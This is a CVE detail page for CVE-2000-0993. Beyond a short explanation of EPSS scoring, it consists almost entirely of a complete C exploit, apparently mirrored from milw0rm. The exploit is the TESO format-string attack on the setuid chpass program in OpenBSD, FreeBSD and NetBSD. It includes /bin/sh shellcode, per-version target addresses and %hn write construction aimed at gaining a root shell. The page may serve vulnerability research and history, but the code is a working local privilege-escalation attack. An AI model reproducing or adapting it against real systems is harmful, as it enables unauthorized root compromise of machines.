CVE-2000-0993 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* * TESO BSD chpass exploit - caddis <[email protected]> * * greets: #!teso, #!w00w00, #hert!, #ozsecurity, #plus613 * */ #include <stdio.h> char bsd_shellcode[] = "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89" "\x4e\x08\x89\x46\x0c\x8d\x4e\x08" "\x50\x51\x56\x50\xb0\x3b\xcd\x80" "\xe8\xe5\xff\xff\xff/bin/sh"; char ptmp_shellcode[] = "\xeb\x26\x5e\x31\xdb\x88\x5e\x07" "\x89\x76\x12\x89\x5e\x16\x8d\x4e" "\x12\x8d\x56\x08\x31\xc0\x52\x53" "\xb0\x0a\xcd\x80\x53\x51\x56\x53" "\xb0\x3b\xcd\x80\xb0\x01\xcd\x80" "\xe8\xd5\xff\xff\xff/bin/sh!/etc/ptmp"; struct platform { char *name; unsigned short count; unsigned long dest_addr; unsigned long shell_addr; char *shellcode; }; struct platform targets[9] = { { "OpenBSD 2.7 i386 ", 141, 0xdfbfd25c, 0xdfbfdc32, ptmp_shellcode }, { "OpenBSD 2.6 i386 ", 149, 0xdfbfd224, 0xdfbfdc1a, ptmp_shellcode }, { "OpenBSD 2.5 1999/08/06 ", 161, 0xefbfd1a0, 0xefbfdbd6, ptmp_shellcode }, { "OpenBSD 2.5 1998/05/28 ", 121, 0xefbfd2b0, 0xefbfdc6e, ptmp_shellcode }, { "FreeBSD 4.0-RELEASE ", 167, 0x805023c, 0xbfbffc68, bsd_shellcode }, { "FreeBSD 3.5-RELEASE ", 135, 0x804fa58, 0xbfbfdcac, bsd_shellcode }, { "FreeBSD 3.4-RELEASE ", 131, 0x804f988, 0xbfbfdcd0, bsd_shellcode }, { "NetBSD 1.4.2 ", 132, 0xbfbfd314, 0xbfbfdc36, bsd_shellcode }, { NULL, 0, 0, 0, NULL } }; char jmpcode[129]; char fmt_string[1000]; char *args[] = { "chpass", NULL }; char *envs[] = { jmpcode, fmt_string, NULL }; void usage(char *name) { printf("%s <TARGET>\n" "1 - OpenBSD 2.7 i386\n" "2 - OpenBSD 2.6 i386\n" "3 - OpenBSD 2.5 1999/08/06\n" "4 - OpenBSD 2.5 1998/05/28\n" "5 - FreeBSD 4.0-RELEASE\n" "6 - FreeBSD 3.5-RELEASE\n" "7 - FreeBSD 3.4-RELEASE\n" "8 - NetBSD 1.4.2\n", name); exit(1); } int main(int argc, char *argv[]) { char *p; int x, len = 0; struct platform *target; unsigned short low, high; unsigned long shell_addr[2], dest_addr[2]; if (argc != 2) usage(argv[0]); x = atoi(argv[1]) - 1; if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform )) - 1 || x < 0) usage(argv[0]); target = &targets[x]; memset(jmpcode, 0x90, sizeof(jmpcode)); strcpy(jmpcode + sizeof(jmpcode) - strlen(target->shellcode), target->shell code); strcat(fmt_string, "EDITOR="); for (x = 0; x < target->count; x++) { strcat(fmt_string, "%8x"); len += 8; } shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16; shell_addr[1] = target->shell_addr & 0xffff; if (shell_addr[1] > shell_addr[0]) { dest_addr[0] = target->dest_addr+2; dest_addr[1] = target->dest_addr; low = shell_addr[0] - len; high = shell_addr[1] - low - len; } else { dest_addr[0] = target->dest_addr; dest_addr[1] = target->dest_addr+2; low = shell_addr[1] - len; high = shell_addr[0] - low - len; } /* allign on 4byte boundry relative to ebp */ *(long *)&jmpcode[1] = 0x11111111; *(long *)&jmpcode[5] = dest_addr[0]; *(long *)&jmpcode[9] = 0x11111111; *(long *)&jmpcode[13] = dest_addr[1]; p = fmt_string + strlen(fmt_string); sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high); execve("/usr/bin/chpass", args, envs); perror("execve"); } // milw0rm.com [2001-01-12]